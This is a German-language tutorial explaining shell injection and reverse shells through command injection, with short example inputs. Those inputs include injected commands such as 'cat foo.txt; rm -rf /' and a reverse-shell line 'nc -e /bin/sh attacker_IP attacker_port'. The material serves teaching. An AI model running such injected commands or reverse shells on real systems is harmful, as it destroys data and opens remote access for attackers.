Shell Injection

Was ist eine Shell?

Eine Shell ist eine benutzergesteuerte Schnittstelle, die es Dir ermöglicht, Befehle an das Betriebssystem zu geben. Sie kann in graphischer Form vorliegen, ist jedoch häufig als Kommandozeile bekannt. Typische Shells sind die Bash, Zsh oder die Windows PowerShell. Shells sind essenziell für die Interaktion mit deinem Computer, insbesondere für Administratoren und Entwickler.

Wie funktioniert eine Shell Injection?

Shell Injection geschieht, wenn Nutzereingaben direkt in eine Shell übergeben werden und dabei unzureichend geprüft oder gefiltert werden. Ein Angreifer kann dies ausnutzen, um unerwünschte Befehle auszuführen. Hier sind die Schritte, wie eine typische Shell Injection ablaufen kann:

• Ein Anwendungssystem nimmt unsichere Eingaben entgegen.
• Der Nutzer gibt manipulierten Code ein.
• Dieser Code wird direkt an die Shell weitergeleitet.
• Der Shell-Befehl wird ausgeführt, ohne die Gefährlichkeit zu erkennen.

 'echo $benutzername' 

 'echo Benutzername; rm -rf /' 

Shell Injection und Techniken

Bei einer Shell Injection werden unerlaubte Befehle in eine Shell-Sitzung eingeschleust. Diese Sicherheitslücke tritt auf, wenn Angreifer Schwachstellen in der Eingabesicherung von Anwendungen ausnutzen. Durch unsachgemäß gesicherte Eingaben in die Shell gelangt bösartiger Code in das System, was zu erheblichen Sicherheitsproblemen führen kann. Es ist wichtig, die Mechanismen zu verstehen, über die Shell Injection funktioniert, um geeignete Schutzmaßnahmen ergreifen zu können.

Mechanismen der Shell Injection

Shell Injection funktioniert, indem Angreifer manipulierte Daten an Anwendungen senden, die Benutzerinput nicht ordnungsgemäß behandeln. Diese Daten können dann von der Anwendung fälschlicherweise als legitime Shell-Befehle ausgeführt werden. Ein solcher Angriff kann auf folgende Weise ablaufen:

• Der Nutzer gibt manipulierte Daten ein.
• Die Anwendung leitet diese Daten unverändert an die Shell weiter.
• Der fremde Code wird ohne vorherige Prüfung ausgeführt.

 'cat $filename' 

 'cat foo.txt; whoami' 

Shell Injection Beispiel

Shell Injection ist eine schwerwiegende Sicherheitslücke in der Software, die ausgenutzt wird, um unerlaubte Befehle in einer Shell auszuführen. Anwendungen, die Benutzereingaben in Shell-Befehle einfließen lassen, ohne diese ordnungsgemäß zu überprüfen, bieten eine Angriffsfläche für Shell Injection.In den folgenden Abschnitten lernst Du, wie eine Shell Injection funktioniert und wie man sich davor schützen kann. Wir werden dies an einem Beispiel veranschaulichen.

Beispiele für Shell Injection

Stell Dir vor, Du arbeitest mit einer Webanwendung, die es Benutzern ermöglicht, nach Dateien zu suchen und ihren Inhalt im Browser anzuzeigen. Der Shell-Befehl könnte wie folgt aussehen:

'cat $filename'

'cat foo.txt; rm -rf /'

Command Injection Reverse Shell

Ein Reverse Shell ist eine Art von Angriff, bei dem ein Angreifer von einem entfernten Server aus über eine Shell auf das Zielsystem zugreift. Dies wird häufig durch Befehlsinjektion erreicht, bei der Eingaben unsachgemäß behandelt werden und bösartige Shell-Befehle vom Zielsystem ausgeführt werden. Mit einer Reverse Shell kann ein Angreifer Befehle ausführen, Dateien lesen und sogar das System kompromittieren, auf dem die Shell läuft. Es ist eine populäre Technik in vielen Cyberangriffen, da sie dem Angreifer Fernzugriff auf ein System verleiht.

Wie funktioniert eine Reverse Shell?

Der Vorgang einer Reverse Shell kann folgendermaßen ablaufen:

• Das Zielsystem führt einen manipulierten Befehl aus, der aus einer ungesicherten Eingabe entsteht.
• Dieser Befehl initiiert eine Verbindung von dem Zielsystem auf einen C2-Server (Command and Control).
• Der C2-Server gibt dann dem Zielsystem Anweisungen, die über den Remote-Zugriff ausgeführt werden können.

 'ping -c 1 user_input' 

 'ping -c 1 localhost; nc -e /bin/sh attacker_IP attacker_port'